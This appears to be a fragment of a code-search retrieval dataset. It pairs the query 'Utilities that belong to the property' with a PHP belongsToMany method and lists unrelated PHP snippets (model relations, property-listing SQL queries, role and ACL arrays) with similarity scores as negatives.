($target['join'] === false || $target['same']) {\n continue;\n }\n $enum[$route] = $target['info'];\n }\n\n if (!isset($annotation[$key])) {\n $annotation[$key] = [\n 'info' => $item['info'] ?: 'UnSetDescription',\n 'type' => new Checkbox(),\n 'enum' => [],\n 'value' => [],\n ];\n }\n\n $annotation[$key]['enum'] = array_merge($annotation[$key]['enum'], $enum);\n }\n\n return $annotation;\n }", "public function anesthetics() : BelongsToMany\n {\n return $this->belongsToMany(Anesthesia::class, 'surgery_anesthetics');\n }", "public function exams()\n {\n return $this->morphedByMany(Exam::class, 'subjectables');\n }", "public function objectives()\n {\n return $this->belongsToMany('App\\Objective','objective_organization','organization_id','objective_id');\n }", "public function getCapeAgulhasSimilarPropertyToRent(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 112\n\t\t\t\t\t\t AND properties.property_status = 'To Rent'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\n\n\t\t\t}\n\t\t}", "public function getCapeAgulhasSimilarPropertyForSale(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_status, property_type, property_desc, price, num_bathrooms, \n\t\t\t\t\t\t street_no, street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 112\n\t\t\t\t\t\t AND properties.property_status = 'For Sale'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getCanary();", "public function approver()\n {\n $data = $this->morphMany('\\ApprovalSequence\\Models\\Entity', 'entity')->get();\n $data = $data->map(function ($item) {\n return $item->approver;\n });\n return $data;\n }", "function getAffectations()\n\t{\n\t\t/* genre:\n\t\t\t{\n\t\t\t\t[1] = {pcname, pb, activityHistory, ...}\n\t\t\t}\n\t\t*/\n\t}", "public function getApplicantEssayPersonalQualities()\n {\n return $this->getProperty('applicant_essay_personal_qualities');\n }", "private static function roles_caps(): array {\n\n $all_caps = [\n 'create',\n 'edit',\n 'edit_others',\n 'publish',\n 'read_private',\n 'delete',\n 'delete_private',\n 'delete_published',\n 'delete_others',\n 'edit_private',\n 'edit_published',\n ];\n\n $most_caps = [\n 'edit',\n 'publish',\n 'delete',\n 'delete_published',\n 'edit_published',\n ];\n\n $few_caps = [\n 'edit',\n 'delete',\n ];\n\n return [\n 'administrator' => $all_caps,\n 'editor' => $all_caps,\n 'author' => $most_caps,\n 'contributor' => $few_caps,\n ];\n\n }", "public static function canDisplayAttorneysMenu()\n\t{\n\t\treturn PermissionValidator::hasPermission(PermissionConstants::VIEW_ATTORNEY);\n\t}", "public function availabilities() {\n return $this->belongsToMany(User::class, 'availability')\n ->withPivot('start', 'end', 'reason');\n }", "public function getMarcacaos()\n {\n return $this->hasMany(Marcacao::className(), ['id_especialidade' => 'id']);\n }", "public function getApresentacoes()\n {\n return $this->apresentacoes;\n }", "public function approvers()\n {\n return $this->hasMany(Approver::class);\n }", "public function attributions() {\n return $this->hasMany('Rockit\\Models\\Attribution');\n }", "public function getRoles()\r\n {\r\n return \\yii\\helpers\\ArrayHelper::map(\r\n $this->hasMany(AuthAssignment::className(), ['user_id' => 'user_id'])\r\n ->select(['id'=>'item_name', 'value'=>'description'])\r\n ->join('left join', 'auth_item', 'auth_item.name = auth_assignment.item_name')\r\n ->asArray()->all(),\r\n 'value', 'id');\r\n }", "private function acl()\n {\n\n $this->acl = [\n '1' =>\n [\n 'admin', 'users', 'providers', 'category', 'farmIndex', 'products', 'questions', 'clients', 'category',\n 'bills', 'orders', 'reports', 'subcategoriesQuery','featuresQuery', 'showUser', 'validateProvider', 'newProduct',\n\n 'agentsGet', 'editProduct', 'deleteProduct', 'updateProduct','newUserAdmin','user',\n 'budgetShow', 'indexProfile', 'userUpdate', 'productAgentPreview', 'productDetailPreview','validateProduct',\n 'payPlan', 'searchUser', 'category', 'products', 'products', 'adminEditProduct', 'farmCategories.create', 'farms.create',\n 'viewProduct'\n\n ],\n '2' =>\n [\n 'admin', 'users', 'providers', 'category', 'farmIndex', 'clients', 'bills',\n 'orders', 'subcategoriesQuery','featuresQuery','agentsGet','newUserAdmin','user', 'indexProfile',\n 'userUpdate', 'payPlan','searchUser',\n 'viewProduct'\n ],\n '3' =>\n [\n 'admin', 'products', 'questions', 'orders', 'registerProvider', 'isValidateProviders', 'questions',\n 'subcategoriesQuery','featuresQuery', 'newProduct', 'insertProvider', 'questionDetail', 'questionNew',\n 'editProduct', 'deleteProduct', 'updateProduct', 'indexProfile','orderShowProvider','updateStateOrder',\n 'productDetailPreview','payPlan', 'productDetailPreview','pay','historyPay', 'inactivePlan', 'callProducts',\n 'newProductProvider', 'updateProductProvider', 'providerUpdate', 'viewProduct','updateStateOrderProvider'\n ],\n\n '4' =>\n [\n 'admin', 'bills', 'orders', 'reports', 'questions', 'questionDetail', 'questionNew',\n 'clientInformationIndex', 'clientInformationStore', 'indexProfile', 'userUpdate','budgetShow','downloadBudget',\n 'orderShow', 'payPlan'\n\n ],\n '5' =>\n [\n 'admin', 'providers', 'clients', 'reports', 'showUser', 'validateProvider', 'indexProfile', 'userUpdate',\n 'productAgentPreview', 'productDetailPreview' , 'validateProduct', 'NotifyIsActive','NotifyAll', 'payPlan',\n 'viewProduct'\n ],\n '6' =>\n [\n 'admin', 'reports', 'indexProfile', 'userUpdate', 'payPlan'\n ],\n ];\n }", "function wp_get_associated_nav_menu_items($object_id = 0, $object_type = 'post_type', $taxonomy = '')\n {\n }", "function getOrganismsList();", "public function avisos()\n {\n \treturn $this->hasMany('App\\Aviso');\n }", "public function getAuthorizables()\n {\n return $this->groups;\n }", "public function properties()\n {\n return $this->hasMany('App\\Models\\Property');\n }" ]
[ "0.68743193", "0.5743877", "0.57319707", "0.5686096", "0.56854695", "0.5666088", "0.55952317", "0.5592784", "0.55508274", "0.5509109", "0.5484758", "0.5481894", "0.54407275", "0.54223764", "0.5367487", "0.53596133", "0.5349716", "0.5349716", "0.53317046", "0.5321251", "0.5315208", "0.52945477", "0.5291473", "0.52689034", "0.5254253", "0.52490443", "0.5247833", "0.52408826", "0.52382565", "0.52376145", "0.5224739", "0.5215312", "0.52020866", "0.51992303", "0.5194642", "0.5167154", "0.5164937", "0.51639545", "0.51639545", "0.51639545", "0.51639545", "0.5152915", "0.5152701", "0.5148249", "0.51392156", "0.5119529", "0.51145345", "0.5090036", "0.5068225", "0.5065134", "0.5061306", "0.50529397", "0.5038619", "0.50368595", "0.502636", "0.50262725", "0.5018419", "0.50180185", "0.501187", "0.5011757", "0.50099504", "0.50075996", "0.5006529", "0.50038934", "0.50038934", "0.5002969", "0.49999484", "0.4983645", "0.49811673", "0.49804568", "0.49782065", "0.4970939", "0.49673226", "0.49657473", "0.49621218", "0.49597126", "0.49585217", "0.49538913", "0.49501663", "0.49332404", "0.4931153", "0.49230257", "0.4917066", "0.49150944", "0.4914715", "0.491367", "0.4912659", "0.49108687", "0.49092185", "0.4905047", "0.49038792", "0.4903438", "0.4899589", "0.48946017", "0.48940176", "0.48932818", "0.48923746", "0.48907456", "0.48814705", "0.48803404" ]
0.7736862
0
Utilities that belong to the property.
public function utilities() { return $this->belongsToMany('App\Models\Properties\Utility'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "abstract protected function properties();", "protected function getPropertyValue() {}", "function properties()\n {\n }", "abstract protected function get_properties();", "function _getProperties() ;", "abstract protected function getProperties();", "public function properties() { }", "protected function renderTrustedPropertiesField() {}", "public function getProperty();", "private function _property(EntityProperty $property) {\n static $marks = [\n Flags::IS_STATIC => \"ZEND_ACC_STATIC\",\n Flags::IS_PUBLIC => \"ZEND_ACC_PUBLIC\",\n Flags::IS_PROTECTED => \"ZEND_ACC_PROTECTED\",\n Flags::IS_PRIVATE => \"ZEND_ACC_PRIVATE\"\n ];\n $flags = [];\n foreach($marks as $mark => $flag) {\n if($property->flags & $mark) {\n $flags[] = $flag;\n }\n }\n $flags = implode(\" | \", $flags);\n switch($property->type) {\n case Types::INT:\n return \"REGISTER_CLASS_LONG_PROPERTY(ce_{$property->class->cname}, \\\"{$property->name}\\\", {$property->value}, {$flags});\";\n case Types::STRING:\n return \"REGISTER_CLASS_STRING_PROPERTY(ce_{$property->class->cname}, \\\"{$property->name}\\\", \\\"\".addslashes($property->value).\"\\\", {$flags});\";\n case Types::BOOLEAN:\n return \"REGISTER_CLASS_BOOL_PROPERTY(ce_{$property->class->cname}, \\\"{$property->name}\\\", \".intval($property->value).\", {$flags});\";\n case Types::NIL:\n return \"REGISTER_CLASS_NULL_PROPERTY(ce_{$property->class->cname}, \\\"{$property->name}\\\", {$flags});\";\n case Types::DOUBLE:\n return \"REGISTER_CLASS_DOUBLE_PROPERTY(ce_{$property->class->cname}, \\\"{$property->name}\\\", {$property->value}, {$flags});\";\n default:\n throw new \\LogicException(\"Unknown type $property\");\n }\n }", "abstract public function getProperties();", "abstract protected function getDirectGetters();", "abstract protected function getToStringProperties();", "public function property($key) { }", "public function __get($prop) {}", "public function _getProperties() {}", "abstract public function field_props();", "public function getProperty(): string;", "public function getProperties() {}", "public function getProperties() {}", "public function getProperties() {}", "public function getProperties() {}", "function get_properties()\r\n {\r\n return $this->properties;\r\n }", "abstract protected function propertyGet($name);", "function set_property(){\n }", "abstract public function getPropertyShort();", "protected function property_map() { return array(); }", "public function allowProperties() {}", "abstract protected function setRequiredGetters();", "abstract public function getJsProperties();", "abstract public function property($propertyIdent);", "function prop($prop)\n {\n \treturn $this->get_property($prop);\n }", "public function __get($propertyName){\n if(array_key_exists($propertyName, $this->properties)){\n\n return $this->properties[$propertyName];\n }\n \n }", "protected function buildPropertyInfoAlter() {\n }", "public function getProperties();", "public function getProperties();", "public function getProperties();", "public function getProperties();", "public function __get($property) {}", "public function getProperty2Name() {}", "public function getProperty1Name() {}", "public function __get($property){\n /*if(method_exists($this,'get'.ucfirst($property))){\n\n }*/\n return $this->$property;\n }", "function setProperty() {\n $instance = $this->CI->ciwy->current_instance[$this->component_name];\n $properties = func_get_arg(0);\n if (is_array($properties)) {\n foreach($properties as $key => $val) {\n if ( ! isset($this->component_property[$key])) {\n $message = '[' . $this->CI->ciwy->library_name . '] '. $key . ' is not a '.$this->component_name .' Property.';\n log_message('error', $message);\n show_error($message);\n } else {\n $this->CI->ciwy->component_config[$instance]['Config'][$key] = $val;\n }\n }\n }\n }", "protected function buildPropertyDefaults() {\n }", "function __get($property)\n {\n return $this->value;\n }", "abstract public function getRawAdditionalProperties();", "function getRaw( $property );", "public function _getCleanProperties() {}", "function createProperty();", "abstract public function getResultObjectProperty();", "public static function getters();", "function _getProp($key)\n {\n return $this->_props[$key];\n }", "protected function buildPropertyInfo() {\n }", "protected function retrievableProperties()\n {\n $properties = array(\n// 'Addresses', //\tSubscriberAddress[]\tIndicates addresses belonging to a subscriber.\n// 'Attributes', //\tAttribute[]\tSpecifies attributes associated with an object.\n// 'Client', //\tClientID\tSpecifies the account ownership and context of an object.\n// 'CorrelationID', //\txsd:string\tIdentifies correlation of objects across several requests.\n 'CreatedDate', //\txsd:dateTime\tRead-only date and time of the object's creation.\n// 'CustomerKey', //\txsd:string\tUser-supplied unique identifier for an object within an object type.\n 'EmailAddress', //\txsd:string\tContains the email address for a subscriber. Indicates the data extension field contains email address data.\n 'EmailTypePreference', //\tEmailType\tThe format in which email should be sent\n// 'GlobalUnsubscribeCategory', //\tGlobalUnsubscribeCategory\tIndicates how the application handles a globally unsubscribed subscriber.\n 'ID', //\txsd:int\tRead-only legacy identifier for an object. Not supported on all objects.\n// 'Lists', //\tSubscriberList[]\tDefines lists a subscriber resides on.\n// 'Locale', //\tLocale\tContains the locale information for an Account.\n// 'ModifiedDate', //\tNullable`1\tLast time object information was modified.\n// 'ObjectID', //\txsd:string\tSystem-controlled, read-only text string identifier for object.\n// 'ObjectState', //\txsd:string\tReserved for future use.\n// 'Owner', //\tOwner\tDescribes account ownership of subscriber in an on-your-behalf account.\n 'PartnerKey', //\txsd:string\tUnique identifier provided by partner for an object, accessible only via API.\n// 'PartnerProperties', //\tAPIProperty[]\tA collection of metadata supplied by client and stored by system - only accessible via API.\n// 'PartnerType', //\txsd:string\tDefines partner associated with a subscriber.\n// 'PrimaryEmailAddress', //\tEmailAddress\tIndicates primary email address for a subscriber.\n// 'PrimarySMSAddress', //\tSMSAddress\tIndicates primary SMS address for a subscriber.\n// 'PrimarySMSPublicationStatus', //\tSubscriberAddressStatus\tIndicates the subscriber's modality status.\n 'Status', //\tSubscriberStatus\tDefines status of object. Status of an address.\n 'SubscriberKey', //\txsd:string\tIdentification of a specific subscriber.\n// 'SubscriberTypeDefinition', //\tSubscriberTypeDefinition\tSpecifies if a subscriber resides in an integration, such as Salesforce or Microsoft Dynamics CRM\n 'UnsubscribedDate'\n );\n\n return $properties;\n }", "protected function value()\n {\n }", "public function populatableProperties() : array;", "protected function _getReadonlyProperties()\n {\n return array();\n }", "protected function properties(){\n //return get_object_vars($this);\n $properties = array();\n //foreach(self::$db_table_fields as $db_field){\n foreach(static::$db_table_fields as $db_field){\n if(property_exists($this, $db_field)){\n \n $properties[$db_field] = $this->$db_field;\n }\n }\n return $properties;\n\n }", "public function getProperties()\n {\n return $this->getProperty();\n }", "private function getProperties(){\n\n\n\t\t$props = get_post_meta(\n\t\t\t$this->post_id,\n\t\t\t'_column_props_'.$this->fullId,\n\t\t\ttrue\n\t\t);\n\n\n\n\t\t$defaults = $this->getDefaultColumnArgs();\n\t\t$props = wp_parse_args( $props, $defaults );\n\n\t\t$this->properties = $props;\n\n\t}", "public function getProperties() : array;", "private function mapProperties(): void\n {\n $this->properties = Collect::keyBy($this->collection->getProperties()->getValues(), 'identifier');\n }", "public function clean_properties(){\n global $database;\n $clean_properties = array();\n foreach ($this->properties() as $key =>$value){\n $clean_properties[$key] =$database->escape_string($value);\n }\n \n return $clean_properties ; \n }", "public function propertyInfo() {\n return entity_get_property_info($this->entityType);\n }", "function __get($property)\n {\n return $this->$property;\n }", "public function properties()\n\t{\n\t\treturn $this->properties;\n\t}", "public function helper()\n\t{\n\t\n\t}", "static function onSmwInitProperties () {\n\n\t\t// id, typeid, label, show\n\t\t// \\SMW\\DIProperty::registerProperty(\n\t\t\t// '___somenewproperty',\n\t\t\t// 2,\n\t\t\t// 'meetingminutes-some-property',\n\t\t\t// true\n\t\t// );\n\t\t\n\t\t\n\t\t/**\n\t\t * @note Property data types as follows (this needs to go somewhere else)\n\t\t * From SMWDataItem:\n\t\t * 0 = No data item class (not sure if this can be used)\n\t\t * 1 = Number\n\t\t * 2 = String/Text\n\t\t * 3 = Blob\n\t\t * 4 = Boolean\n\t\t * 5 = URI\n\t\t * 6 = Time (This must mean Date)\n\t\t * 7 = Geo\n\t\t * 8 = Container\n\t\t * 9 = WikiPage\n\t\t * 10 = Concept\n\t\t * 11 = Property\n\t\t * 12 = Error\n\t\t */\n\t\treturn MeetingPropertyRegistry::getInstance()->registerPropertiesAndAliases();\n\t\t\n\t}", "protected function properties(){\n\t\t$properties = array();\n\t\tforeach(static::$db_table_fields as $db_field){\n\t\t\tif(property_exists($this,$db_field)){\n\t\t\t$properties[$db_field]= $this->$db_field;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $properties;\t\n\t}", "protected function clean_properties(){\n\t\tglobal $database;\n\t\t$clean_properties = array();\n\t\tforeach($this->properties() as $key => $value){\n\t\t\t$clean_properties[$key]=$database->escape_string($value);\t\n\t\t}\n\t\treturn $clean_properties;\t\n\t}", "public function getReferenceProperties() {}", "function getProperties($properties);", "public function getPropertyValue() {\n\t\t$propertyValue = parent::getPropertyValue();\n\t\tif ($propertyValue === NULL)\n\t\t\treturn FALSE;\n\t\treturn $propertyValue;\n\t}", "private function __() {\n }", "abstract protected function attributes();", "public function __get($prop){\n\t\treturn $this->$prop;\n\t}", "public function property($propertyIdent);", "abstract public function getObjectDefinitionProperty();", "function __get($value) {\n return false;\n }", "function shouldSkipUnknownProperties() ;", "public function __get($property) \n {\n echo '<br>';\n echo \"Ban vua truy cap vao thuoc tinh {$property} khong ton tai trong class - AAAAAAA\";\n echo '<br>';\n }", "protected function properties(){\n\n // Here we are making an array, we are looping through the table to see if the fields in the table exist, if so. It is being stored into array \n $properties = array();\n foreach (static::$table_users_field as $users_field) {\n if(property_exists($this,$users_field)){\n $properties[$users_field] = $this->$users_field;\n }\n }\n\n return $properties;\n }", "public function getCustom();", "public function getCustom();", "public function getCustom();", "public function getPropertyDetails(){\n $objectManager = \\Magento\\Framework\\App\\ObjectManager::getInstance ();\n return $objectManager->get ( 'Apptha\\Airhotels\\Model\\Attributes' );\n }", "function doGetterSetter() {\n\tglobal $description_obj;\n\tglobal $table_name, $class_name;\n\tglobal $tabs, $tab2, $tab3;\n\n\tfComment($tabs,\"Getters and Setters\");\n\tforeach($description_obj as $obj) {\n\t\t//print_r($obj);\n\n\t\techo $tabs,\"/// getter for '$obj->Field'\\n\",\n\t\t\t $tabs,\"public function get_{$obj->Field}()\\t\\t{return \\$this->$obj->Field;}\\n\",\n\t\t\t $tabs,\"/// setter for '$obj->Field'\\n\",\n\t\t\t $tabs,\"public function set_{$obj->Field}(\\$val)\\t{\\$this->$obj->Field = \",assignEscape($obj),\";}\\n\",\n\t\t\t \"\\n\";\n\t}\n\techo $tabs,\"public function get_last_error()\\t\\t{return \\$this->_last_error;}\\n\";\n\techo \"\\n\\n\";\n}", "protected function properties()\n {\n return [\n 'mount_point' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::text(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CMDB__CATG__DRIVE_DRIVELETTER',\n C__PROPERTY__INFO__DESCRIPTION => 'Driveletter'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__driveletter'\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_LETTER'\n ]\n ]\n ),\n 'title' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::text(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CMDB__CATG__TITLE',\n C__PROPERTY__INFO__DESCRIPTION => 'Title'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__title'\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_TITLE'\n ]\n ]\n ),\n 'system_drive' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::dialog(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CMDB__CATG__DRIVE__SYSTEM_DRIVE',\n C__PROPERTY__INFO__DESCRIPTION => 'System drive'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__system_drive'\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATG__DRIVE__SYSTEM_DRIVE',\n C__PROPERTY__UI__PARAMS => [\n 'p_arData' => serialize(get_smarty_arr_YES_NO()),\n 'p_bDbFieldNN' => 1\n ]\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__SEARCH => false,\n C__PROPERTY__PROVIDES__LIST => false\n ],\n C__PROPERTY__FORMAT => [\n C__PROPERTY__FORMAT__CALLBACK => [\n 'isys_export_helper',\n 'get_yes_or_no'\n ]\n ]\n ]\n ),\n 'filesystem' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::dialog_plus(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'isys_filesystem_type',\n C__PROPERTY__INFO__DESCRIPTION => 'Filesystem'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__isys_filesystem_type__id',\n C__PROPERTY__DATA__REFERENCES => [\n 'isys_filesystem_type',\n 'isys_filesystem_type__id',\n ]\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_FILESYSTEM',\n C__PROPERTY__UI__PARAMS => [\n 'p_strTable' => 'isys_filesystem_type'\n ]\n ]\n ]\n ),\n 'capacity' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::float(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CMDB_CATG__MEMORY_CAPACITY',\n C__PROPERTY__INFO__DESCRIPTION => 'Capacity'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__capacity'\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_CAPACITY',\n C__PROPERTY__UI__PARAMS => [\n 'p_strClass' => 'input-dual-large'\n ]\n ],\n C__PROPERTY__FORMAT => [\n C__PROPERTY__FORMAT__CALLBACK => [\n 'isys_export_helper',\n 'convert',\n ['memory']\n ],\n C__PROPERTY__FORMAT__UNIT => 'unit',\n ],\n C__PROPERTY__PROVIDES => [\n C__PROPERTY__PROVIDES__LIST => false\n ]\n ]\n ),\n 'unit' => array_replace_recursive(\n isys_cmdb_dao_category_pattern::dialog(),\n [\n C__PROPERTY__INFO => [\n C__PROPERTY__INFO__TITLE => 'LC__CATG__MEMORY_UNIT',\n C__PROPERTY__INFO__DESCRIPTION => 'Unit'\n ],\n C__PROPERTY__DATA => [\n C__PROPERTY__DATA__FIELD => 'isys_catg_drive_list__isys_memory_unit__id',\n C__PROPERTY__DATA__FIELD_ALIAS => 'capacity_unit',\n C__PROPERTY__DATA__TABLE_ALIAS => 'c_unit',\n C__PROPERTY__DATA__REFERENCES => [\n 'isys_memory_unit',\n 'isys_memory_unit__id'\n ]\n ],\n C__PROPERTY__UI => [\n C__PROPERTY__UI__ID => 'C__CATD__DRIVE_UNIT',\n C__PROPERTY__UI__PARAMS => [\n 'p_strTable' => 'isys_memory_unit',\n 'p_strClass' => 'input-dual-small',\n 'p_bInfoIconSpacer' => 0\n ]\n ],\n C__PROPERTY__PROVIDES => [\n 